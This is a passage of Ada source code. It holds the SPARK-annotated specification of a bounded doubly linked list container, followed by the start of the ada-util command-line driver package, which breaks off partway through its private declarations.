(Left => Positions (Container),
Right => Positions (Container)'Old,
New_Key => Last (Container))
-- Cursors of Container'Old keep the same position
and Positions (Container)'Old <= Positions (Container)
-- Model contains a new element New_Item at the end
and Element (Model (Container), Length (Container)) = New_Item
-- Elements of Container'Old are preserved
and Model (Container)'Old <= Model (Container),
others =>
-- The elements of Container located before Before are preserved
M.Range_Equal
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => 1,
Lst => P.Get (Positions (Container)'Old, Before) - 1)
-- Other elements are shifted by 1
and M.Range_Shifted
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => P.Get (Positions (Container)'Old, Before),
Lst => Length (Container)'Old,
Offset => 1)
-- New_Item is stored at the previous position of Before in
-- Container.
and Element
(Model (Container),
P.Get (Positions (Container)'Old, Before)) = New_Item
-- A new cursor has been inserted at position Before in Container
and P_Positions_Shifted
(Positions (Container)'Old,
Positions (Container),
Cut => P.Get (Positions (Container)'Old, Before)));
procedure Insert
(Container : in out List;
Before : Cursor;
New_Item : Element_Type;
Count : Count_Type)
with
Global => null,
Pre =>
Length (Container) <= Container.Capacity - Count
and then (Has_Element (Container, Before)
or else Before = No_Element),
Post => Length (Container) = Length (Container)'Old + Count,
Contract_Cases =>
(Before = No_Element =>
-- The elements of Container are preserved
M.Range_Equal
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => 1,
Lst => Length (Container)'Old)
-- Container contains Count times New_Item at the end
and (if Count > 0 then
M.Constant_Range
(Container => Model (Container),
Fst => Length (Container)'Old + 1,
Lst => Length (Container),
Item => New_Item))
-- Container contains Count times New_Item at the end
and M.Constant_Range
(Container => Model (Container),
Fst => Length (Container)'Old + 1,
Lst => Length (Container),
Item => New_Item)
-- A Count cursors have been inserted at the end of Container
and P_Positions_Truncated
(Positions (Container)'Old,
Positions (Container),
Cut => Length (Container)'Old + 1,
Count => Count),
others =>
-- The elements of Container located before Before are preserved
M.Range_Equal
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => 1,
Lst => P.Get (Positions (Container)'Old, Before) - 1)
-- Other elements are shifted by Count
and M.Range_Shifted
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => P.Get (Positions (Container)'Old, Before),
Lst => Length (Container)'Old,
Offset => Count)
-- Container contains Count times New_Item after position Before
and M.Constant_Range
(Container => Model (Container),
Fst => P.Get (Positions (Container)'Old, Before),
Lst =>
P.Get (Positions (Container)'Old, Before) - 1 + Count,
Item => New_Item)
-- Count cursors have been inserted at position Before in
-- Container.
and P_Positions_Shifted
(Positions (Container)'Old,
Positions (Container),
Cut => P.Get (Positions (Container)'Old, Before),
Count => Count));
procedure Insert
(Container : in out List;
Before : Cursor;
New_Item : Element_Type;
Position : out Cursor)
with
Global => null,
Pre =>
Length (Container) < Container.Capacity
and then (Has_Element (Container, Before)
or else Before = No_Element),
Post =>
Length (Container) = Length (Container)'Old + 1
-- Positions is valid in Container and it is located either before
-- Before if it is valid in Container or at the end if it is
-- No_Element.
and P.Has_Key (Positions (Container), Position)
and (if Before = No_Element then
P.Get (Positions (Container), Position) = Length (Container)
else
P.Get (Positions (Container), Position) =
P.Get (Positions (Container)'Old, Before))
-- The elements of Container located before Position are preserved
and M.Range_Equal
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => 1,
Lst => P.Get (Positions (Container), Position) - 1)
-- Other elements are shifted by 1
and M.Range_Shifted
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => P.Get (Positions (Container), Position),
Lst => Length (Container)'Old,
Offset => 1)
-- New_Item is stored at Position in Container
and Element
(Model (Container),
P.Get (Positions (Container), Position)) = New_Item
-- A new cursor has been inserted at position Position in Container
and P_Positions_Shifted
(Positions (Container)'Old,
Positions (Container),
Cut => P.Get (Positions (Container), Position));
procedure Insert
(Container : in out List;
Before : Cursor;
New_Item : Element_Type;
Position : out Cursor;
Count : Count_Type)
with
Global => null,
Pre =>
Length (Container) <= Container.Capacity - Count
and then (Has_Element (Container, Before)
or else Before = No_Element),
Post => Length (Container) = Length (Container)'Old + Count,
Contract_Cases =>
(Count = 0 =>
Position = Before
and Model (Container) = Model (Container)'Old
and Positions (Container) = Positions (Container)'Old,
others =>
-- Positions is valid in Container and it is located either before
-- Before if it is valid in Container or at the end if it is
-- No_Element.
P.Has_Key (Positions (Container), Position)
and (if Before = No_Element then
P.Get (Positions (Container), Position) =
Length (Container)'Old + 1
else
P.Get (Positions (Container), Position) =
P.Get (Positions (Container)'Old, Before))
-- The elements of Container located before Position are preserved
and M.Range_Equal
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => 1,
Lst => P.Get (Positions (Container), Position) - 1)
-- Other elements are shifted by Count
and M.Range_Shifted
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => P.Get (Positions (Container), Position),
Lst => Length (Container)'Old,
Offset => Count)
-- Container contains Count times New_Item after position Position
and M.Constant_Range
(Container => Model (Container),
Fst => P.Get (Positions (Container), Position),
Lst =>
P.Get (Positions (Container), Position) - 1 + Count,
Item => New_Item)
-- Count cursor have been inserted at Position in Container
and P_Positions_Shifted
(Positions (Container)'Old,
Positions (Container),
Cut => P.Get (Positions (Container), Position),
Count => Count));
procedure Prepend (Container : in out List; New_Item : Element_Type) with
Global => null,
Pre => Length (Container) < Container.Capacity,
Post =>
Length (Container) = Length (Container)'Old + 1
-- Elements are shifted by 1
and M.Range_Shifted
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => 1,
Lst => Length (Container)'Old,
Offset => 1)
-- New_Item is the first element of Container
and Element (Model (Container), 1) = New_Item
-- A new cursor has been inserted at the beginning of Container
and P_Positions_Shifted
(Positions (Container)'Old,
Positions (Container),
Cut => 1);
procedure Prepend
(Container : in out List;
New_Item : Element_Type;
Count : Count_Type)
with
Global => null,
Pre => Length (Container) <= Container.Capacity - Count,
Post =>
Length (Container) = Length (Container)'Old + Count
-- Elements are shifted by Count
and M.Range_Shifted
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => 1,
Lst => Length (Container)'Old,
Offset => Count)
-- Container starts with Count times New_Item
and M.Constant_Range
(Container => Model (Container),
Fst => 1,
Lst => Count,
Item => New_Item)
-- Count cursors have been inserted at the beginning of Container
and P_Positions_Shifted
(Positions (Container)'Old,
Positions (Container),
Cut => 1,
Count => Count);
procedure Append (Container : in out List; New_Item : Element_Type) with
Global => null,
Pre => Length (Container) < Container.Capacity,
Post =>
Length (Container) = Length (Container)'Old + 1
-- Positions contains a new mapping from the last cursor of Container
-- to its length.
and P.Get (Positions (Container), Last (Container)) =
Length (Container)
-- Other cursors come from Container'Old
and P.Keys_Included_Except
(Left => Positions (Container),
Right => Positions (Container)'Old,
New_Key => Last (Container))
-- Cursors of Container'Old keep the same position
and Positions (Container)'Old <= Positions (Container)
-- Model contains a new element New_Item at the end
and Element (Model (Container), Length (Container)) = New_Item
-- Elements of Container'Old are preserved
and Model (Container)'Old <= Model (Container);
procedure Append
(Container : in out List;
New_Item : Element_Type;
Count : Count_Type)
with
Global => null,
Pre => Length (Container) <= Container.Capacity - Count,
Post =>
Length (Container) = Length (Container)'Old + Count
-- The elements of Container are preserved
and Model (Container)'Old <= Model (Container)
-- Container contains Count times New_Item at the end
and (if Count > 0 then
M.Constant_Range
(Container => Model (Container),
Fst => Length (Container)'Old + 1,
Lst => Length (Container),
Item => New_Item))
-- Count cursors have been inserted at the end of Container
and P_Positions_Truncated
(Positions (Container)'Old,
Positions (Container),
Cut => Length (Container)'Old + 1,
Count => Count);
procedure Delete (Container : in out List; Position : in out Cursor) with
Global => null,
Depends => (Container =>+ Position, Position => null),
Pre => Has_Element (Container, Position),
Post =>
Length (Container) = Length (Container)'Old - 1
-- Position is set to No_Element
and Position = No_Element
-- The elements of Container located before Position are preserved.
and M.Range_Equal
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => 1,
Lst => P.Get (Positions (Container)'Old, Position'Old) - 1)
-- The elements located after Position are shifted by 1
and M.Range_Shifted
(Left => Model (Container),
Right => Model (Container)'Old,
Fst => P.Get (Positions (Container)'Old, Position'Old),
Lst => Length (Container),
Offset => 1)
-- Position has been removed from Container
and P_Positions_Shifted
(Positions (Container),
Positions (Container)'Old,
Cut => P.Get (Positions (Container)'Old, Position'Old));
procedure Delete
(Container : in out List;
Position : in out Cursor;
Count : Count_Type)
with
Global => null,
Pre => Has_Element (Container, Position),
Post =>
Length (Container) in
Length (Container)'Old - Count .. Length (Container)'Old
-- Position is set to No_Element
and Position = No_Element
-- The elements of Container located before Position are preserved.
and M.Range_Equal
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => 1,
Lst => P.Get (Positions (Container)'Old, Position'Old) - 1),
Contract_Cases =>
-- All the elements after Position have been erased
(Length (Container) - Count < P.Get (Positions (Container), Position) =>
Length (Container) =
P.Get (Positions (Container)'Old, Position'Old) - 1
-- At most Count cursors have been removed at the end of Container
and P_Positions_Truncated
(Positions (Container),
Positions (Container)'Old,
Cut => P.Get (Positions (Container)'Old, Position'Old),
Count => Count),
others =>
Length (Container) = Length (Container)'Old - Count
-- Other elements are shifted by Count
and M.Range_Shifted
(Left => Model (Container),
Right => Model (Container)'Old,
Fst => P.Get (Positions (Container)'Old, Position'Old),
Lst => Length (Container),
Offset => Count)
-- Count cursors have been removed from Container at Position
and P_Positions_Shifted
(Positions (Container),
Positions (Container)'Old,
Cut => P.Get (Positions (Container)'Old, Position'Old),
Count => Count));
procedure Delete_First (Container : in out List) with
Global => null,
Pre => not Is_Empty (Container),
Post =>
Length (Container) = Length (Container)'Old - 1
-- The elements of Container are shifted by 1
and M.Range_Shifted
(Left => Model (Container),
Right => Model (Container)'Old,
Fst => 1,
Lst => Length (Container),
Offset => 1)
-- The first cursor of Container has been removed
and P_Positions_Shifted
(Positions (Container),
Positions (Container)'Old,
Cut => 1);
procedure Delete_First (Container : in out List; Count : Count_Type) with
Global => null,
Contract_Cases =>
-- All the elements of Container have been erased
(Length (Container) <= Count =>
Length (Container) = 0,
others =>
Length (Container) = Length (Container)'Old - Count
-- Elements of Container are shifted by Count
and M.Range_Shifted
(Left => Model (Container),
Right => Model (Container)'Old,
Fst => 1,
Lst => Length (Container),
Offset => Count)
-- The first Count cursors have been removed from Container
and P_Positions_Shifted
(Positions (Container),
Positions (Container)'Old,
Cut => 1,
Count => Count));
procedure Delete_Last (Container : in out List) with
Global => null,
Pre => not Is_Empty (Container),
Post =>
Length (Container) = Length (Container)'Old - 1
-- The elements of Container are preserved
and Model (Container) <= Model (Container)'Old
-- The last cursor of Container has been removed
and not P.Has_Key (Positions (Container), Last (Container)'Old)
-- Other cursors are still valid
and P.Keys_Included_Except
(Left => Positions (Container)'Old,
Right => Positions (Container)'Old,
New_Key => Last (Container)'Old)
-- The positions of other cursors are preserved
and Positions (Container) <= Positions (Container)'Old;
procedure Delete_Last (Container : in out List; Count : Count_Type) with
Global => null,
Contract_Cases =>
-- All the elements of Container have been erased
(Length (Container) <= Count =>
Length (Container) = 0,
others =>
Length (Container) = Length (Container)'Old - Count
-- The elements of Container are preserved
and Model (Container) <= Model (Container)'Old
-- At most Count cursors have been removed at the end of Container
and P_Positions_Truncated
(Positions (Container),
Positions (Container)'Old,
Cut => Length (Container) + 1,
Count => Count));
procedure Reverse_Elements (Container : in out List) with
Global => null,
Post => M_Elements_Reversed (Model (Container)'Old, Model (Container));
procedure Swap
(Container : in out List;
I : Cursor;
J : Cursor)
with
Global => null,
Pre => Has_Element (Container, I) and then Has_Element (Container, J),
Post =>
M_Elements_Swapped
(Model (Container)'Old,
Model (Container),
X => P.Get (Positions (Container)'Old, I),
Y => P.Get (Positions (Container)'Old, J))
and Positions (Container) = Positions (Container)'Old;
procedure Swap_Links
(Container : in out List;
I : Cursor;
J : Cursor)
with
Global => null,
Pre => Has_Element (Container, I) and then Has_Element (Container, J),
Post =>
M_Elements_Swapped
(Model (Container'Old),
Model (Container),
X => P.Get (Positions (Container)'Old, I),
Y => P.Get (Positions (Container)'Old, J))
and P_Positions_Swapped
(Positions (Container)'Old, Positions (Container), I, J);
procedure Splice
(Target : in out List;
Before : Cursor;
Source : in out List)
-- Target and Source should not be aliased
with
Global => null,
Pre =>
Length (Source) <= Target.Capacity - Length (Target)
and then (Has_Element (Target, Before)
or else Before = No_Element),
Post =>
Length (Source) = 0
and Length (Target) = Length (Target)'Old + Length (Source)'Old,
Contract_Cases =>
(Before = No_Element =>
-- The elements of Target are preserved
M.Range_Equal
(Left => Model (Target)'Old,
Right => Model (Target),
Fst => 1,
Lst => Length (Target)'Old)
-- The elements of Source are appended to target, the order is not
-- specified.
and M_Elements_Included
(Left => Model (Source)'Old,
L_Lst => Length (Source)'Old,
Right => Model (Target),
R_Fst => Length (Target)'Old + 1,
R_Lst => Length (Target))
and M_Elements_Included
(Left => Model (Target),
L_Fst => Length (Target)'Old + 1,
L_Lst => Length (Target),
Right => Model (Source)'Old,
R_Lst => Length (Source)'Old)
-- Cursors have been inserted at the end of Target
and P_Positions_Truncated
(Positions (Target)'Old,
Positions (Target),
Cut => Length (Target)'Old + 1,
Count => Length (Source)'Old),
others =>
-- The elements of Target located before Before are preserved
M.Range_Equal
(Left => Model (Target)'Old,
Right => Model (Target),
Fst => 1,
Lst => P.Get (Positions (Target)'Old, Before) - 1)
-- The elements of Source are inserted before Before, the order is
-- not specified.
and M_Elements_Included
(Left => Model (Source)'Old,
L_Lst => Length (Source)'Old,
Right => Model (Target),
R_Fst => P.Get (Positions (Target)'Old, Before),
R_Lst =>
P.Get (Positions (Target)'Old, Before) - 1 +
Length (Source)'Old)
and M_Elements_Included
(Left => Model (Target),
L_Fst => P.Get (Positions (Target)'Old, Before),
L_Lst =>
P.Get (Positions (Target)'Old, Before) - 1 +
Length (Source)'Old,
Right => Model (Source)'Old,
R_Lst => Length (Source)'Old)
-- Other elements are shifted by the length of Source
and M.Range_Shifted
(Left => Model (Target)'Old,
Right => Model (Target),
Fst => P.Get (Positions (Target)'Old, Before),
Lst => Length (Target)'Old,
Offset => Length (Source)'Old)
-- Cursors have been inserted at position Before in Target
and P_Positions_Shifted
(Positions (Target)'Old,
Positions (Target),
Cut => P.Get (Positions (Target)'Old, Before),
Count => Length (Source)'Old));
procedure Splice
(Target : in out List;
Before : Cursor;
Source : in out List;
Position : in out Cursor)
-- Target and Source should not be aliased
with
Global => null,
Pre =>
(Has_Element (Target, Before) or else Before = No_Element)
and then Has_Element (Source, Position)
and then Length (Target) < Target.Capacity,
Post =>
Length (Target) = Length (Target)'Old + 1
and Length (Source) = Length (Source)'Old - 1
-- The elements of Source located before Position are preserved
and M.Range_Equal
(Left => Model (Source)'Old,
Right => Model (Source),
Fst => 1,
Lst => P.Get (Positions (Source)'Old, Position'Old) - 1)
-- The elements located after Position are shifted by 1
and M.Range_Shifted
(Left => Model (Source)'Old,
Right => Model (Source),
Fst => P.Get (Positions (Source)'Old, Position'Old) + 1,
Lst => Length (Source)'Old,
Offset => -1)
-- Position has been removed from Source
and P_Positions_Shifted
(Positions (Source),
Positions (Source)'Old,
Cut => P.Get (Positions (Source)'Old, Position'Old))
-- Positions is valid in Target and it is located either before
-- Before if it is valid in Target or at the end if it is No_Element.
and P.Has_Key (Positions (Target), Position)
and (if Before = No_Element then
P.Get (Positions (Target), Position) = Length (Target)
else
P.Get (Positions (Target), Position) =
P.Get (Positions (Target)'Old, Before))
-- The elements of Target located before Position are preserved
and M.Range_Equal
(Left => Model (Target)'Old,
Right => Model (Target),
Fst => 1,
Lst => P.Get (Positions (Target), Position) - 1)
-- Other elements are shifted by 1
and M.Range_Shifted
(Left => Model (Target)'Old,
Right => Model (Target),
Fst => P.Get (Positions (Target), Position),
Lst => Length (Target)'Old,
Offset => 1)
-- The element located at Position in Source is moved to Target
and Element (Model (Target),
P.Get (Positions (Target), Position)) =
Element (Model (Source)'Old,
P.Get (Positions (Source)'Old, Position'Old))
-- A new cursor has been inserted at position Position in Target
and P_Positions_Shifted
(Positions (Target)'Old,
Positions (Target),
Cut => P.Get (Positions (Target), Position));
procedure Splice
(Container : in out List;
Before : Cursor;
Position : Cursor)
with
Global => null,
Pre =>
(Has_Element (Container, Before) or else Before = No_Element)
and then Has_Element (Container, Position),
Post => Length (Container) = Length (Container)'Old,
Contract_Cases =>
(Before = Position =>
Model (Container) = Model (Container)'Old
and Positions (Container) = Positions (Container)'Old,
Before = No_Element =>
-- The elements located before Position are preserved
M.Range_Equal
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => 1,
Lst => P.Get (Positions (Container)'Old, Position) - 1)
-- The elements located after Position are shifted by 1
and M.Range_Shifted
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => P.Get (Positions (Container)'Old, Position) + 1,
Lst => Length (Container)'Old,
Offset => -1)
-- The last element of Container is the one that was previously at
-- Position.
and Element (Model (Container),
Length (Container)) =
Element (Model (Container)'Old,
P.Get (Positions (Container)'Old, Position))
-- Cursors from Container continue designating the same elements
and Mapping_Preserved
(M_Left => Model (Container)'Old,
M_Right => Model (Container),
P_Left => Positions (Container)'Old,
P_Right => Positions (Container)),
others =>
-- The elements located before Position and Before are preserved
M.Range_Equal
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => 1,
Lst =>
Count_Type'Min
(P.Get (Positions (Container)'Old, Position) - 1,
P.Get (Positions (Container)'Old, Before) - 1))
-- The elements located after Position and Before are preserved
and M.Range_Equal
(Left => Model (Container)'Old,
Right => Model (Container),
Fst =>
Count_Type'Max
(P.Get (Positions (Container)'Old, Position) + 1,
P.Get (Positions (Container)'Old, Before) + 1),
Lst => Length (Container))
-- The elements located after Before and before Position are
-- shifted by 1 to the right.
and M.Range_Shifted
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => P.Get (Positions (Container)'Old, Before) + 1,
Lst => P.Get (Positions (Container)'Old, Position) - 1,
Offset => 1)
-- The elements located after Position and before Before are
-- shifted by 1 to the left.
and M.Range_Shifted
(Left => Model (Container)'Old,
Right => Model (Container),
Fst => P.Get (Positions (Container)'Old, Position) + 1,
Lst => P.Get (Positions (Container)'Old, Before) - 1,
Offset => -1)
-- The element previously at Position is now before Before
and Element
(Model (Container),
P.Get (Positions (Container)'Old, Before)) =
Element
(Model (Container)'Old,
P.Get (Positions (Container)'Old, Position))
-- Cursors from Container continue designating the same elements
and Mapping_Preserved
(M_Left => Model (Container)'Old,
M_Right => Model (Container),
P_Left => Positions (Container)'Old,
P_Right => Positions (Container)));
function First (Container : List) return Cursor with
Global => null,
Contract_Cases =>
(Length (Container) = 0 =>
First'Result = No_Element,
others =>
Has_Element (Container, First'Result)
and P.Get (Positions (Container), First'Result) = 1);
function First_Element (Container : List) return Element_Type with
Global => null,
Pre => not Is_Empty (Container),
Post => First_Element'Result = M.Get (Model (Container), 1);
function Last (Container : List) return Cursor with
Global => null,
Contract_Cases =>
(Length (Container) = 0 =>
Last'Result = No_Element,
others =>
Has_Element (Container, Last'Result)
and P.Get (Positions (Container), Last'Result) =
Length (Container));
function Last_Element (Container : List) return Element_Type with
Global => null,
Pre => not Is_Empty (Container),
Post =>
Last_Element'Result = M.Get (Model (Container), Length (Container));
function Next (Container : List; Position : Cursor) return Cursor with
Global => null,
Pre =>
Has_Element (Container, Position) or else Position = No_Element,
Contract_Cases =>
(Position = No_Element
or else P.Get (Positions (Container), Position) = Length (Container)
=>
Next'Result = No_Element,
others =>
Has_Element (Container, Next'Result)
and then P.Get (Positions (Container), Next'Result) =
P.Get (Positions (Container), Position) + 1);
procedure Next (Container : List; Position : in out Cursor) with
Global => null,
Pre =>
Has_Element (Container, Position) or else Position = No_Element,
Contract_Cases =>
(Position = No_Element
or else P.Get (Positions (Container), Position) = Length (Container)
=>
Position = No_Element,
others =>
Has_Element (Container, Position)
and then P.Get (Positions (Container), Position) =
P.Get (Positions (Container), Position'Old) + 1);
function Previous (Container : List; Position : Cursor) return Cursor with
Global => null,
Pre =>
Has_Element (Container, Position) or else Position = No_Element,
Contract_Cases =>
(Position = No_Element
or else P.Get (Positions (Container), Position) = 1
=>
Previous'Result = No_Element,
others =>
Has_Element (Container, Previous'Result)
and then P.Get (Positions (Container), Previous'Result) =
P.Get (Positions (Container), Position) - 1);
procedure Previous (Container : List; Position : in out Cursor) with
Global => null,
Pre =>
Has_Element (Container, Position) or else Position = No_Element,
Contract_Cases =>
(Position = No_Element
or else P.Get (Positions (Container), Position) = 1
=>
Position = No_Element,
others =>
Has_Element (Container, Position)
and then P.Get (Positions (Container), Position) =
P.Get (Positions (Container), Position'Old) - 1);
function Find
(Container : List;
Item : Element_Type;
Position : Cursor := No_Element) return Cursor
with
Global => null,
Pre =>
Has_Element (Container, Position) or else Position = No_Element,
Contract_Cases =>
-- If Item is not contained in Container after Position, Find returns
-- No_Element.
(not M.Contains
(Container => Model (Container),
Fst =>
(if Position = No_Element then
1
else
P.Get (Positions (Container), Position)),
Lst => Length (Container),
Item => Item)
=>
Find'Result = No_Element,
-- Otherwise, Find returns a valid cursor in Container
others =>
P.Has_Key (Positions (Container), Find'Result)
-- The element designated by the result of Find is Item
and Element
(Model (Container),
P.Get (Positions (Container), Find'Result)) = Item
-- The result of Find is located after Position
and (if Position /= No_Element then
P.Get (Positions (Container), Find'Result) >=
P.Get (Positions (Container), Position))
-- It is the first occurrence of Item in this slice
and not M.Contains
(Container => Model (Container),
Fst =>
(if Position = No_Element then
1
else
P.Get (Positions (Container), Position)),
Lst =>
P.Get (Positions (Container), Find'Result) - 1,
Item => Item));
function Reverse_Find
(Container : List;
Item : Element_Type;
Position : Cursor := No_Element) return Cursor
with
Global => null,
Pre =>
Has_Element (Container, Position) or else Position = No_Element,
Contract_Cases =>
-- If Item is not contained in Container before Position, Find returns
-- No_Element.
(not M.Contains
(Container => Model (Container),
Fst => 1,
Lst =>
(if Position = No_Element then
Length (Container)
else
P.Get (Positions (Container), Position)),
Item => Item)
=>
Reverse_Find'Result = No_Element,
-- Otherwise, Find returns a valid cursor in Container
others =>
P.Has_Key (Positions (Container), Reverse_Find'Result)
-- The element designated by the result of Find is Item
and Element
(Model (Container),
P.Get (Positions (Container), Reverse_Find'Result)) = Item
-- The result of Find is located before Position
and (if Position /= No_Element then
P.Get (Positions (Container), Reverse_Find'Result) <=
P.Get (Positions (Container), Position))
-- It is the last occurrence of Item in this slice
and not M.Contains
(Container => Model (Container),
Fst =>
P.Get (Positions (Container),
Reverse_Find'Result) + 1,
Lst =>
(if Position = No_Element then
Length (Container)
else
P.Get (Positions (Container), Position)),
Item => Item));
function Contains
(Container : List;
Item : Element_Type) return Boolean
with
Global => null,
Post =>
Contains'Result = M.Contains (Container => Model (Container),
Fst => 1,
Lst => Length (Container),
Item => Item);
function Has_Element
(Container : List;
Position : Cursor) return Boolean
with
Global => null,
Post =>
Has_Element'Result = P.Has_Key (Positions (Container), Position);
pragma Annotate (GNATprove, Inline_For_Proof, Has_Element);
generic
with function "<" (Left, Right : Element_Type) return Boolean is <>;
package Generic_Sorting with SPARK_Mode is
package Formal_Model with Ghost is
function M_Elements_Sorted (Container : M.Sequence) return Boolean
with
Global => null,
Post =>
M_Elements_Sorted'Result =
(for all I in 1 .. M.Length (Container) =>
(for all J in I .. M.Length (Container) =>
Element (Container, I) = Element (Container, J)
or Element (Container, I) < Element (Container, J)));
pragma Annotate (GNATprove, Inline_For_Proof, M_Elements_Sorted);
end Formal_Model;
use Formal_Model;
function Is_Sorted (Container : List) return Boolean with
Global => null,
Post => Is_Sorted'Result = M_Elements_Sorted (Model (Container));
procedure Sort (Container : in out List) with
Global => null,
Post =>
Length (Container) = Length (Container)'Old
and M_Elements_Sorted (Model (Container))
and M_Elements_Included
(Left => Model (Container)'Old,
L_Lst => Length (Container),
Right => Model (Container),
R_Lst => Length (Container))
and M_Elements_Included
(Left => Model (Container),
L_Lst => Length (Container),
Right => Model (Container)'Old,
R_Lst => Length (Container));
procedure Merge (Target : in out List; Source : in out List) with
-- Target and Source should not be aliased
Global => null,
Pre => Length (Source) <= Target.Capacity - Length (Target),
Post =>
Length (Target) = Length (Target)'Old + Length (Source)'Old
and Length (Source) = 0
and (if M_Elements_Sorted (Model (Target)'Old)
and M_Elements_Sorted (Model (Source)'Old)
then
M_Elements_Sorted (Model (Target)))
and M_Elements_Included
(Left => Model (Target)'Old,
L_Lst => Length (Target)'Old,
Right => Model (Target),
R_Lst => Length (Target))
and M_Elements_Included
(Left => Model (Source)'Old,
L_Lst => Length (Source)'Old,
Right => Model (Target),
R_Lst => Length (Target))
and M_Elements_In_Union
(Model (Target),
Model (Source)'Old,
Model (Target)'Old);
end Generic_Sorting;
private
pragma SPARK_Mode (Off);
type Node_Type is record
Prev : Count_Type'Base := -1;
Next : Count_Type;
Element : Element_Type;
end record;
function "=" (L, R : Node_Type) return Boolean is abstract;
type Node_Array is array (Count_Type range <>) of Node_Type;
function "=" (L, R : Node_Array) return Boolean is abstract;
type List (Capacity : Count_Type) is record
Free : Count_Type'Base := -1;
Length : Count_Type := 0;
First : Count_Type := 0;
Last : Count_Type := 0;
Nodes : Node_Array (1 .. Capacity);
end record;
Empty_List : constant List := (0, others => <>);
end Ada.Containers.Formal_Doubly_Linked_Lists;
|
src/base/commands/util-commands-drivers.ads | RREE/ada-util | 60 | 18586 | <gh_stars>10-100
-----------------------------------------------------------------------
-- util-commands-drivers -- Support to make command line tools
-- Copyright (C) 2017, 2018, 2019 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Util.Log;
with Util.Commands.Parsers;
private with Ada.Strings.Unbounded;
private with Ada.Containers.Ordered_Sets;
-- == Command line driver ==
-- The `Util.Commands.Drivers` generic package provides a support to build command line
-- tools that have different commands identified by a name. It defines the `Driver_Type`
-- tagged record that provides a registry of application commands. It gives entry points
-- to register commands and execute them.
--
-- The `Context_Type` package parameter defines the type for the `Context` parameter
-- that is passed to the command when it is executed. It can be used to provide
-- application specific context to the command.
--
-- The `Config_Parser` describes the parser package that will handle the analysis of
-- command line options. To use the GNAT options parser, it is possible to use the
-- `Util.Commands.Parsers.GNAT_Parser` package.
generic
-- The command execution context.
type Context_Type (<>) is limited private;
with package Config_Parser is new Util.Commands.Parsers.Config_Parser (<>);
with function Translate (Message : in String) return String is No_Translate;
Driver_Name : String := "Drivers";
package Util.Commands.Drivers is
subtype Config_Type is Config_Parser.Config_Type;
-- A simple command handler executed when the command with the given name is executed.
type Command_Handler is not null access procedure (Name : in String;
Args : in Argument_List'Class;
Context : in out Context_Type);
-- A more complex command handler that has a command instance as context.
type Command_Type is abstract tagged limited private;
type Command_Access is access all Command_Type'Class;
-- Get the description associated with the command.
function Get_Description (Command : in Command_Type) return String;
-- Get the name used to register the command.
function Get_Name (Command : in Command_Type) return String;
-- Execute the command with the arguments. The command name is passed with the command
-- arguments.
procedure Execute (Command : in out Command_Type;
Name : in String;
Args : in Argument_List'Class;
Context : in out Context_Type) is abstract;
-- Setup the command before parsing the arguments and executing it.
procedure Setup (Command : in out Command_Type;
Config : in out Config_Type;
Context : in out Context_Type) is null;
-- Write the help associated with the command.
procedure Help (Command : in out Command_Type;
Name : in String;
Context : in out Context_Type) is abstract;
-- Write the command usage.
procedure Usage (Command : in out Command_Type;
Name : in String;
Context : in out Context_Type);
-- Print a message for the command. The level indicates whether the message is an error,
-- warning or informational. The command name can be used to known the originator.
-- The <tt>Log</tt> operation is redirected to the driver's <tt>Log</tt> procedure.
procedure Log (Command : in Command_Type;
Level : in Util.Log.Level_Type;
Name : in String;
Message : in String);
type Help_Command_Type is new Command_Type with private;
-- Execute the help command with the arguments.
-- Print the help for every registered command.
overriding
procedure Execute (Command : in out Help_Command_Type;
Name : in String;
Args : in Argument_List'Class;
Context : in out Context_Type);
-- Write the help associated with the command.
overriding
procedure Help (Command : in out Help_Command_Type;
Name : in String;
Context : in out Context_Type);
type Driver_Type is tagged limited private;
-- Report the command usage.
procedure Usage (Driver : in Driver_Type;
Args : in Argument_List'Class;
Context : in out Context_Type;
Name : in String := "");
-- Set the driver description printed in the usage.
procedure Set_Description (Driver : in out Driver_Type;
Description : in String);
-- Set the driver usage printed in the usage.
procedure Set_Usage (Driver : in out Driver_Type;
Usage : in String);
-- Register the command under the given name.
procedure Add_Command (Driver : in out Driver_Type;
Name : in String;
Command : in Command_Access);
procedure Add_Command (Driver : in out Driver_Type;
Name : in String;
Description : in String;
Command : in Command_Access);
-- Register the command under the given name.
procedure Add_Command (Driver : in out Driver_Type;
Name : in String;
Description : in String;
Handler : in Command_Handler);
-- Find the command having the given name.
-- Returns null if the command was not found.
function Find_Command (Driver : in Driver_Type;
Name : in String) return Command_Access;
-- Execute the command registered under the given name.
procedure Execute (Driver : in Driver_Type;
Name : in String;
Args : in Argument_List'Class;
Context : in out Context_Type);
-- Print a message for the command. The level indicates whether the message is an error,
-- warning or informational. The command name can be used to known the originator.
procedure Log (Driver : in Driver_Type;
Level : in Util.Log.Level_Type;
Name : in String;
Message : in String);
private
type Command_Type is abstract tagged limited record
Driver : access Driver_Type'Class;
Name : Ada.Strings.Unbounded.Unbounded_String;
Description : Ada.Strings.Unbounded.Unbounded_String;
end record;
function "<" (Left, Right : in Command_Access) return Boolean is
(Ada.Strings.Unbounded."<" (Left.Name, Right.Name));
package Command_Sets is
new Ada.Containers.Ordered_Sets (Element_Type => Command_Access,
"<" => "<",
"=" => "=");
type Help_Command_Type is new Command_Type with null record;
